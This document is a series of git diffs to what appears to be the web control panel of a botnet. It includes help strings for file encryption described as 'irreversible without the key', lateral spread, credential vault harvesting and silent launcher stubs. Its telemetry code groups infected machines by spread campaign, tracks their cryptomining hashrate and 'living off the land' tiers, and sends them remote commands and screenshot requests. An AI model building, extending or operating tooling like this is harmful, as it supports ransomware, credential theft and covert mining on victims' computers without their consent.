'Deep posture scan (3060s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
crucible_posture_badge:
@@ -84,7 +84,11 @@ export const UI_HELP: Record<string, string> = {
crucible_section_destructive:
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
crucible_section_spread:
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
crucible_section_cred_graph:
'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
crucible_section_service_graph:
'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
crucible_section_seek:
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
crucible_section_ssh:

View File

@@ -0,0 +1,94 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
aggregateCampaignTelemetry,
effectiveMiningHashrate,
hashHeatIntensity,
lotlTierLabel,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from './warRoomTelemetry';
import type { WarRoomCampaign } from '../types';
describe('effectiveMiningHashrate', () => {
it('prefers mining_hashrate when present', () => {
expect(
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
).toBe(900);
});
it('falls back to CPU + GPU hashrate', () => {
expect(
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
).toBe(500);
});
});
describe('aggregateCampaignTelemetry', () => {
it('groups online agents by campaign and sums hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
]);
const linkedin = map.get('linkedin');
expect(linkedin?.online).toBe(2);
expect(linkedin?.hashrate).toBe(500);
expect(linkedin?.mining).toBe(2);
expect(map.get('usb')?.hashrate).toBe(0);
});
});
describe('mergeCampaignWithLiveTelemetry', () => {
const base: WarRoomCampaign = {
campaign: 'linkedin',
hits: 10,
downloads: 5,
agents: 2,
online: 0,
hashrate: 0,
conversion_pct: 20,
daily_hits: [1, 2, 3],
};
it('overlays live hashrate and online counts', () => {
const merged = mergeCampaignWithLiveTelemetry(base, {
hashrate: 1200,
online: 2,
mining: 1,
agents: [],
});
expect(merged.hashrate).toBe(1200);
expect(merged.online).toBe(2);
expect(merged.hits).toBe(10);
});
});
describe('hashHeatIntensity', () => {
it('returns 0 for zero hashrate', () => {
expect(hashHeatIntensity(0, 1000)).toBe(0);
});
it('scales relative to fleet max', () => {
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
expect(hashHeatIntensity(2000, 1000)).toBe(1);
});
});
describe('lotlTierLabel', () => {
it('returns uppercase tier or null', () => {
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
expect(lotlTierLabel('')).toBeNull();
expect(lotlTierLabel(undefined)).toBeNull();
});
});
describe('maxTelemetryHashrate', () => {
it('finds peak campaign hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
]);
expect(maxTelemetryHashrate(map)).toBe(450);
});
});

View File

@@ -0,0 +1,78 @@
import type { Agent, WarRoomCampaign } from '../types';
export interface CampaignLiveTelemetry {
hashrate: number;
online: number;
mining: number;
agents: Agent[];
}
/** Effective mining hashrate from WS stats (explicit field or CPU+GPU fallback). */
export function effectiveMiningHashrate(agent: Agent): number {
const explicit = agent.mining_hashrate;
if (typeof explicit === 'number' && Number.isFinite(explicit) && explicit >= 0) {
return explicit;
}
const cpu = agent.hashrate_15m ?? agent.hashrate_15s ?? 0;
const gpu = agent.gpu_hashrate_15m ?? agent.gpu_hashrate_15s ?? 0;
return cpu + gpu;
}
/** Group live fleet agents by spread campaign slug. */
export function aggregateCampaignTelemetry(agents: Agent[]): Map<string, CampaignLiveTelemetry> {
const map = new Map<string, CampaignLiveTelemetry>();
for (const agent of agents) {
const slug = agent.campaign?.trim();
if (!slug) continue;
let entry = map.get(slug);
if (!entry) {
entry = { hashrate: 0, online: 0, mining: 0, agents: [] };
map.set(slug, entry);
}
entry.agents.push(agent);
if (agent.status === 'online') {
entry.online += 1;
const hr = effectiveMiningHashrate(agent);
entry.hashrate += hr;
if (hr > 0) entry.mining += 1;
}
}
return map;
}
/** Overlay live WS hashrate onto REST/WS funnel campaign rows. */
export function mergeCampaignWithLiveTelemetry(
campaign: WarRoomCampaign,
live?: CampaignLiveTelemetry,
): WarRoomCampaign {
if (!live) return campaign;
return {
...campaign,
hashrate: live.hashrate,
online: live.online,
mining: live.mining > 0 ? live.mining : campaign.mining,
};
}
/** Heat intensity 01 for CSS `--hash-heat` (aether ember glow). */
export function hashHeatIntensity(hashrate: number, maxHashrate: number): number {
if (!hashrate || hashrate <= 0) return 0;
if (maxHashrate <= 0) return 0.35;
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
}
/** Display label for LOTL tier badge; null when unset. */
export function lotlTierLabel(tier?: string): string | null {
const t = tier?.trim();
if (!t) return null;
return t.toUpperCase();
}
/** Max live hashrate across campaign telemetry (for heat normalization). */
export function maxTelemetryHashrate(telemetry: Map<string, CampaignLiveTelemetry>): number {
let max = 0;
for (const t of telemetry.values()) {
if (t.hashrate > max) max = t.hashrate;
}
return max;
}

View File

@@ -33,6 +33,89 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
it('returns false when mining cascade fields change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'inprocess',
stratum_overlay: false,
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'container',
}),
).toBe(false);
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'inprocess',
stratum_overlay: true,
}),
).toBe(false);
});
it('returns false when mining_hashrate or lotl_tier change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
mining_hashrate: 500,
lotl_tier: 'tier-1',
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
mining_hashrate: 600,
}),
).toBe(false);
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_tier: 'tier-2',
}),
).toBe(false);
});
it('returns false when lotl_attempts change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_attempts: [{ tier: 'container', ok: false, duration_ms: 500 }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_attempts: [{ tier: 'container', ok: true, duration_ms: 500 }],
}),
).toBe(false);
});
});
describe('WS_LATEST_MESSAGE_TYPES', () => {

View File

@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
return true;
}
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
return true;
}
function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
const x = a[i];
const y = b[i];
if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
return false;
}
}
return true;
}
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
export const WS_LATEST_MESSAGE_TYPES = new Set([
'presence_snapshot',

View File

@@ -0,0 +1,123 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { act, renderHook, waitFor } from '@testing-library/react';
import { useFleetBulkActions } from './useFleetBulkActions';
import { api } from '../api/client';
import { mockAgent } from '../test/fixtures';
import type { Agent } from '../types';
vi.mock('../api/client', () => ({
api: {
bulkDeleteAgents: vi.fn(),
sendBulkCommand: vi.fn(),
sendAgentCommand: vi.fn(),
},
}));
const bulkDeleteMock = vi.mocked(api.bulkDeleteAgents);
const sendBulkMock = vi.mocked(api.sendBulkCommand);
function renderBulkHook(agents: Agent[], selectedIds: string[]) {
const selected = new Set(selectedIds);
return renderHook(() => useFleetBulkActions({ agents, selectedIds: selected }));
}
describe('useFleetBulkActions', () => {
beforeEach(() => {
vi.clearAllMocks();
bulkDeleteMock.mockResolvedValue({ success: true, deleted: 1 });
sendBulkMock.mockResolvedValue({ success: true, sent: 1, failed: 0, action: 'restart' });
});
afterEach(() => {
vi.unstubAllGlobals();
});
describe('bulk delete confirm path', () => {
it('calls bulkDeleteAgents when operator confirms', async () => {
const agent = mockAgent({ id: 'del-1' });
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
const { result } = renderBulkHook([agent], ['del-1']);
await act(async () => {
await result.current.handleBulkAction('delete');
});
expect(confirmSpy).toHaveBeenCalledWith(
'Permanently remove 1 machine(s) from the fleet roster?',
);
expect(bulkDeleteMock).toHaveBeenCalledWith(['del-1']);
expect(sendBulkMock).not.toHaveBeenCalled();
confirmSpy.mockRestore();
});
it('skips bulkDeleteAgents when operator declines', async () => {
const agent = mockAgent({ id: 'del-2' });
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(false);
const { result } = renderBulkHook([agent], ['del-2']);
await act(async () => {
await result.current.handleBulkAction('delete');
});
expect(confirmSpy).toHaveBeenCalled();
expect(bulkDeleteMock).not.toHaveBeenCalled();
confirmSpy.mockRestore();
});
});
describe('restart_idle', () => {
it('filters to online idle miners and sends restart bulk command', async () => {
const idle = mockAgent({ id: 'idle-1', status: 'online', hashrate_15m: 42 });
const active = mockAgent({ id: 'active-1', status: 'online', hashrate_15m: 1200 });
const offlineIdle = mockAgent({ id: 'off-1', status: 'offline', hashrate_15m: 0 });
const { result } = renderBulkHook(
[idle, active, offlineIdle],
['idle-1', 'active-1', 'off-1'],
);
await act(async () => {
await result.current.handleBulkAction('restart_idle');
});
await waitFor(() => {
expect(sendBulkMock).toHaveBeenCalledWith(['idle-1'], 'restart');
});
});
it('alerts when no selected agents are idle miners', async () => {
const active = mockAgent({ id: 'active-2', status: 'online', hashrate_15m: 800 });
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
const { result } = renderBulkHook([active], ['active-2']);
await act(async () => {
await result.current.handleBulkAction('restart_idle');
});
expect(alertSpy).toHaveBeenCalledWith(
'No selected online agents with idle hashrate (< 100 H/s).',
);
expect(sendBulkMock).not.toHaveBeenCalled();
alertSpy.mockRestore();
});
});
describe('mining_diagnostics', () => {
it('calls sendBulkCommand with mining_diagnostics action for online selection', async () => {
const a1 = mockAgent({ id: 'diag-1', status: 'online' });
const a2 = mockAgent({ id: 'diag-2', status: 'online' });
const offline = mockAgent({ id: 'diag-off', status: 'offline' });
const { result } = renderBulkHook([a1, a2, offline], ['diag-1', 'diag-2', 'diag-off']);
await act(async () => {
await result.current.handleBulkAction('mining_diagnostics');
});
await waitFor(() => {
expect(sendBulkMock).toHaveBeenCalledWith(['diag-1', 'diag-2'], 'mining_diagnostics');
});
});
});
});

View File

@@ -0,0 +1,115 @@
import { useState, useEffect, useRef, useCallback } from 'react';
import { api } from '../api/client';
import { agentIsIdleMiner } from '../help/fleetFilters';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import type { Agent } from '../types';
import type { SeqCommandResult } from '../context/WebSocketContext';
interface Options {
agents: Agent[];
selectedIds: Set<string>;
commandResults?: SeqCommandResult[];
}
export function useFleetBulkActions({ agents, selectedIds, commandResults }: Options) {
const [bulkBusy, setBulkBusy] = useState(false);
const screenshotWatchId = useRef<string | null>(null);
const screenshotSeqRef = useRef(0);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
for (const r of commandResults) {
if (r._seq <= screenshotSeqRef.current) continue;
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
screenshotSeqRef.current = r._seq;
screenshotWatchId.current = null;
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
if (r.success && r.message) {
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
} else {
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
}
break;
}
}, [commandResults, agents]);
const handleBulkAction = useCallback(
async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'screenshot') {
if (onlineIds.length !== 1) {
alert('Select exactly one online machine for screenshot.');
return;
}
const id = onlineIds[0];
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
screenshotWatchId.current = id;
if (commandResults?.length) {
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
}
setBulkBusy(true);
try {
const res = await api.sendAgentCommand(id, 'screenshot');
if (res.success === false) {
screenshotWatchId.current = null;
alert(res.error ?? 'Screenshot command rejected');
}
} catch (err) {
screenshotWatchId.current = null;
alert(err instanceof Error ? err.message : 'Screenshot failed');
} finally {
setBulkBusy(false);
}
return;
}
if (action === 'stop' && !window.confirm(`Power down agent process on ${onlineIds.length} machine(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
} finally {
setBulkBusy(false);
}
},
[agents, commandResults, selectedIds],
);
return { bulkBusy, handleBulkAction };
}

View File

@@ -1,227 +1,30 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter, Routes, Route } from 'react-router-dom';
import AgentsPage from './AgentsPage';
import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
vi.mock('../components/Fleet/AgentRemoteActions', () => ({
default: () => <div data-testid="agent-remote-actions-mock" />,
}));
const useWebSocketMock = vi.mocked(useWebSocket);
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
return {
isConnected: false,
agents: [],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
...overrides,
};
}
function renderAgentsPage() {
function renderRedirect() {
return render(
<MemoryRouter initialEntries={['/agents']} future={routerFuture}>
<AgentsPage />
<Routes>
<Route path="/agents" element={<AgentsPage />} />
<Route path="/crucible" element={<div>Crucible destination</div>} />
</Routes>
</MemoryRouter>,
);
}
describe('AgentsPage', () => {
beforeEach(() => {
vi.clearAllMocks();
useWebSocketMock.mockReturnValue(wsValue());
vi.spyOn(api, 'listAgents').mockResolvedValue([]);
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
success: true,
agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
});
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
success: true,
sent: 1,
failed: 0,
action: 'restart',
});
});
afterEach(() => {
cleanup();
});
it('renders page heading and builds install link', async () => {
renderAgentsPage();
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
});
it('shows loading then empty multi-OS state', async () => {
renderAgentsPage();
expect(screen.getByText('Scanning network...')).toBeInTheDocument();
expect(await screen.findByText('No agents registered')).toBeInTheDocument();
expect(
screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
).toBeInTheDocument();
});
it('surfaces listAgents load errors', async () => {
vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
renderAgentsPage();
expect(await screen.findByText('API unavailable')).toBeInTheDocument();
});
it('lists agents and opens detail panel with section headings', async () => {
const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
renderAgentsPage();
await waitFor(() => {
expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
});
await userEvent.setup().click(screen.getByText('Rack B Miner'));
await waitFor(() => {
expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
});
expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
expect(screen.getByText('Hashrate')).toBeInTheDocument();
expect(screen.getByText('Shares')).toBeInTheDocument();
expect(screen.getByText('Remote Control')).toBeInTheDocument();
expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
});
it('preserves notes draft while typing until agent switch', async () => {
const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
const user = userEvent.setup();
await user.click(screen.getByText('Node One'));
const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
const panel = detail.closest('.agent-detail') as HTMLElement;
const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
await waitFor(() => expect(notes.value).toBe('note one'));
await user.clear(notes);
await user.type(notes, 'typing in progress');
expect(notes.value).toBe('typing in progress');
await user.click(screen.getByText('Node Two'));
await waitFor(() => expect(notes.value).toBe('note two'));
});
it('saves notes and tags via API', async () => {
const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
success: true,
agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
const user = userEvent.setup();
await user.click(screen.getByText('Save Target'));
const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
const panel = detail.closest('.agent-detail') as HTMLElement;
const notes = within(panel).getByPlaceholderText('Notes about this machine…');
await user.clear(notes);
await user.type(notes, 'Living room PC');
const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
await waitFor(
() => {
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
},
{ timeout: 10000 }
);
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
}, 15000);
it('alerts when bulk action has no online agents', async () => {
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
await userEvent.setup().click(within(list).getByRole('checkbox'));
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
await waitFor(() => {
expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
});
alertSpy.mockRestore();
});
it('alerts when bulk command API fails', async () => {
const agent = mockAgent({ name: 'Online One' });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
await userEvent.setup().click(within(list).getByRole('checkbox'));
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
await waitFor(() => {
expect(alertSpy).toHaveBeenCalledWith('bulk failed');
});
alertSpy.mockRestore();
});
it('syncs agents from websocket when connected', async () => {
const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
vi.spyOn(api, 'listAgents').mockImplementation(
() => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
);
const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
renderAgentsPage();
await waitFor(() => {
expect(screen.getByText('Live Name')).toBeInTheDocument();
});
expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
});
it('shows filter empty hint when no agents match', async () => {
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
await userEvent.setup().type(search, 'nomatchxyz');
expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
});
it('select all filtered selects every visible agent', async () => {
const a1 = mockAgent({ id: 'a1', name: 'Alpha', tags: ['prod'] });
const a2 = mockAgent({ id: 'a2', name: 'Beta', tags: ['prod'] });
const a3 = mockAgent({ id: 'a3', name: 'Gamma', tags: ['dev'] });
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2, a3]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Alpha')).toBeInTheDocument());
const user = userEvent.setup();
await user.selectOptions(screen.getByTitle('Filter by tag'), 'prod');
await user.click(screen.getByRole('button', { name: 'Select all filtered (2)' }));
expect(screen.getByText('2 selected')).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
it('redirects /agents to /crucible', () => {
renderRedirect();
expect(screen.getByText('Crucible destination')).toBeInTheDocument();
});
});

View File

@@ -1,651 +1,6 @@
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import { resolveChartSeries } from '../help/chartSampleData';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import { groupsForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import '../components/Fleet/FleetToolbar.css';
import './Pages.css';
function BuildsInstallLink() {
return (
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: '1rem', flexWrap: 'wrap' }}>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>Deploy a new worker</strong>
<p className="form-hint" style={{ margin: 0 }}>
Per-machine install commands (PowerShell, bash, direct download) live in Builds.
</p>
</div>
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
</NeonCard>
);
}
import { Navigate } from 'react-router-dom';
/** Fleet Roster ops consolidated into Crucible — keep route for bookmarks and external links. */
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [logDownloading, setLogDownloading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState('');
const isConnectedRef = useRef(isConnected);
isConnectedRef.current = isConnected;
const screenshotWatchId = useRef<string | null>(null);
const screenshotSeqRef = useRef(0);
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
const onlineAgentIds = useMemo(
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
[agents]
);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
for (const r of commandResults) {
if (r._seq <= screenshotSeqRef.current) continue;
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
screenshotSeqRef.current = r._seq;
screenshotWatchId.current = null;
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
if (r.success && r.message) {
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
} else {
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
}
break;
}
}, [commandResults, agents]);
useEffect(() => {
let cancelled = false;
api.listAgents()
.then((data) => {
if (!cancelled && !isConnectedRef.current) setAgents(data);
})
.catch((err) => {
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, []);
useEffect(() => {
if (!selectedAgent) return;
setNotesDraft(selectedAgent.notes || '');
setTagsDraft((selectedAgent.tags || []).join(', '));
}, [selectedAgent?.id]);
useEffect(() => {
if (!isConnected) return;
setAgents(liveAgents);
if (!selectedAgent) return;
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
